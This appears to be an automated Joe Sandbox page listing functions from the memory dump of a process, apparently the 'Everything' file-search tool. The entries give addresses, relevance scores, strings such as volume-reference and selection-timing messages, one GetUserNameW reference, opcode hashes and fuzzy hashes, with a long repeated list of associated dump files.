add new found refs volume: %s | %s | %s | %p, xrefs: 00007FF63D555FFD
add found refs volume: %s | %s | %s | %p, xrefs: 00007FF63D555F9F

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID: add found refs volume: %s | %s | %s | %p$add new found refs volume: %s | %s | %s | %p
API String ID: 0-120192103
Opcode ID: 45550c35fa40e42bc51f95abb5174ead0d092b424fb9259094d13dad6a0ed1d0
Instruction ID: 8e00dddabaa52b2f24bf62859f771ef2aed5fbb83ffe52fed88ed6366b551b62
Opcode Fuzzy Hash: 45550c35fa40e42bc51f95abb5174ead0d092b424fb9259094d13dad6a0ed1d0
Instruction Fuzzy Hash: EA6117A2A0D2C945FB628F65A4502797BE2AF46B94F480031EECE87B95FF3CD451E700

Function 00007FF63D4D3850 Relevance: 1.9, Strings: 1, Instructions: 641COMMON

Download Yara Rule

Strings

update selection %f seconds, xrefs: 00007FF63D4D4222

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: HeapPerformanceQuery$AllocCounterFrequencyProcess
String ID: update selection %f seconds
API String ID: 2030523519-3540566426
Opcode ID: f3bf1441cbfddcae4653efca30367eebf5b750e367950c5a8e9b9d237ed93311
Instruction ID: 0061a676be022f58f0bf2c8ac1afe31a014466c507aee27bc499f3e947e65245
Opcode Fuzzy Hash: f3bf1441cbfddcae4653efca30367eebf5b750e367950c5a8e9b9d237ed93311
Instruction Fuzzy Hash: 01529E72F09A8A92DB24CF65D4802BDB7A0FB85B84F454132DB5E83392EF38E565D710

Function 00007FF63D546D80 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00007FF63D546DB5

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 394b141a4ead7aed4d1f1ab663a88c5772fa44274509d7366f44cef65650cc90
Instruction ID: ca244af437c21956b84c06ebf96c5ea3079492337109d107f78331a236dc947d
Opcode Fuzzy Hash: 394b141a4ead7aed4d1f1ab663a88c5772fa44274509d7366f44cef65650cc90
Instruction Fuzzy Hash: E2F03761A1898A91FA609B50F8553AA6360FFC8744F442031EA9D86745FF7CD1589B40

Function 00007FF63D48B860 Relevance: .8, Instructions: 783COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff26222e9d2605098cda98e9aa7f8272acf8b6bf29e5cf922da2bc280e87da1b
Instruction ID: 42586ae5f8f05c657b15ff0c890317dae3b60ac35327a288305b7d885413aed5
Opcode Fuzzy Hash: ff26222e9d2605098cda98e9aa7f8272acf8b6bf29e5cf922da2bc280e87da1b
Instruction Fuzzy Hash: E8529B63F1C6D98DE7254AB494153B95BA0AB063C0F068136EABDC7786FE2FE405B740

Function 00007FF63D5FC290 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dc289bcd38401c39873323c37cd2a53bc0a8cb60c596bbcaf87358c4d85da25
Instruction ID: f4fd0367e4301073fa6d0858effe008fc9c7710f2a9c790e210a1a32b1501795
Opcode Fuzzy Hash: 5dc289bcd38401c39873323c37cd2a53bc0a8cb60c596bbcaf87358c4d85da25
Instruction Fuzzy Hash: 1C52E032A1C6D585E7B48B68A4403BABBE4F786784F048135DADD87B89EF3DD445EB00

Function 00007FF63D5E6920 Relevance: .6, Instructions: 612COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7422013d0495c10f52d245e27e0030658ca23a3cbe26e265b83af5c67074387d
Instruction ID: 7ff945dd65daf7359dfe0081eb877e7d5bc9077b0582dfb466d11851f7bfc10d
Opcode Fuzzy Hash: 7422013d0495c10f52d245e27e0030658ca23a3cbe26e265b83af5c67074387d
Instruction Fuzzy Hash: 3F226862F1E69A87FB24AB9584243B96A82DF517E4F045439DE8DC77C5FE2DE400E700

Function 00007FF63D5F4E40 Relevance: .5, Instructions: 508COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cddef797f4efda6964c3d211b6789bfced59520184be3a83506eb92377f8413
Instruction ID: 0ea9005e62bfdb6f65fb62129f380e77b2c6193753af30d981b9068e89d76922
Opcode Fuzzy Hash: 0cddef797f4efda6964c3d211b6789bfced59520184be3a83506eb92377f8413
Instruction Fuzzy Hash: E5223E7B607786CBC7949E39C5486AC3BE1F341F59F08823ACE558A699DF34D409EB20

Function 00007FF63D4ADF60 Relevance: .4, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f09977bb3c8e69c20763e20c6f8ee3b96d13681511e83da6e2b0805ca5052fb
Instruction ID: d788f5dc9b25f3781f7309f95c867e0bb49a3af752dcc734c004ab893844d0cb
Opcode Fuzzy Hash: 3f09977bb3c8e69c20763e20c6f8ee3b96d13681511e83da6e2b0805ca5052fb
Instruction Fuzzy Hash: 9412E232B0869A86DB20CF65E4402BE7760FB85784F565132EB9D97796EF3CE400AB40

Function 00007FF63D47DF80 Relevance: .3, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8de17c3ada552957fce3b078122f3cd097ee61c82aa6279483f29be178550ef5
Instruction ID: ea7b595a13d648de30d63a29de9c679f04f8e893bdeb26d44041fe51e9f78015
Opcode Fuzzy Hash: 8de17c3ada552957fce3b078122f3cd097ee61c82aa6279483f29be178550ef5
Instruction Fuzzy Hash: 47A15867F3C0AB56E3794A79941AA795EA28707340F0A6231D5BCC6B83FD1EE9077700

Function 00007FF63D48C7E0 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 400051609ad2159cb47fef37caf38ae91b13536185395f279d290c6a2e1e45d6
Instruction ID: 5262619d4549bc7ba6373343d3985907578ecaf35b22c291b9d9baf62c5734ce
Opcode Fuzzy Hash: 400051609ad2159cb47fef37caf38ae91b13536185395f279d290c6a2e1e45d6
Instruction Fuzzy Hash: EC81B861F09A4A85FF248A66905057C67E19B01FD4F15C176EB9D873CAFF2EE841B380

Function 00007FF63D4B56C0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d636ea858e8541e6d9a5c65886e4c1e71f79268591530fa04d5dd2d61903736e
Instruction ID: 2b85ef74bc7c50b2d9c147057aa15e3241f4b01ff1da8200aa7416f71fd1eea2
Opcode Fuzzy Hash: d636ea858e8541e6d9a5c65886e4c1e71f79268591530fa04d5dd2d61903736e
Instruction Fuzzy Hash: F331C667B0C2C985DF524B65402077CBBB2DB22B84F5E9071DAD9863C7EE1ED952EB00

Function 00007FF63D4B57E0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eee6d8c8f6439d6345ac40159bd9820a9d048cff54a824ceac9dc696e407f3cf
Instruction ID: 06d4846df28618f7fcb20558e2e975db303154555ef568ea000c1fa1715eb097
Opcode Fuzzy Hash: eee6d8c8f6439d6345ac40159bd9820a9d048cff54a824ceac9dc696e407f3cf
Instruction Fuzzy Hash: 9131C863E0D5C944DB524F65402027CBFB2EB22B84BDE9471DAD8863C7EE1ED862E700

Function 00007FF63D602F50 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 391988a73083d67feebe9fe75e32d9df349c5a23bedb96cce2759dc4c65f289e
Instruction ID: fcc73b2552132e331293a217699e00b6d6b9bd63a85fc166f3af887068afde0d
Opcode Fuzzy Hash: 391988a73083d67feebe9fe75e32d9df349c5a23bedb96cce2759dc4c65f289e
Instruction Fuzzy Hash: 343147B3E0D7D585DA158AA6664013AA761FF4A7C4F048032CF6A87B45FE39E515F300

Function 00007FF63D478830 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96c22d328170625f99c672d9d6881588b0ff24a196122a0edcc88fb1e9feefe8
Instruction ID: ce215a64f5fa6a48baf5278bc3a3cc254701b2ce8c7a18658f381971f6743e68
Opcode Fuzzy Hash: 96c22d328170625f99c672d9d6881588b0ff24a196122a0edcc88fb1e9feefe8
Instruction Fuzzy Hash: BD210C73E0C5D954DB518B7640102B97FA1AB42BC0B4F8472DAF893787EE1DD842E710

Function 00007FF63D4DDA90 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5addf4b4413896a12293aa234b80d0114c1073d9df57387f92b7399468aa07fd
Instruction ID: 8272229ea70505c82c82bd07698fd55b94fb9339e345f48f8d5f18085ca6ec91
Opcode Fuzzy Hash: 5addf4b4413896a12293aa234b80d0114c1073d9df57387f92b7399468aa07fd
Instruction Fuzzy Hash: C721EFA6F04B5AC2DF148F4AE5802BAB320FB01BD8F0A5126DB4D43302EF39E4A1D710

Function 00007FF63D5E6720 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
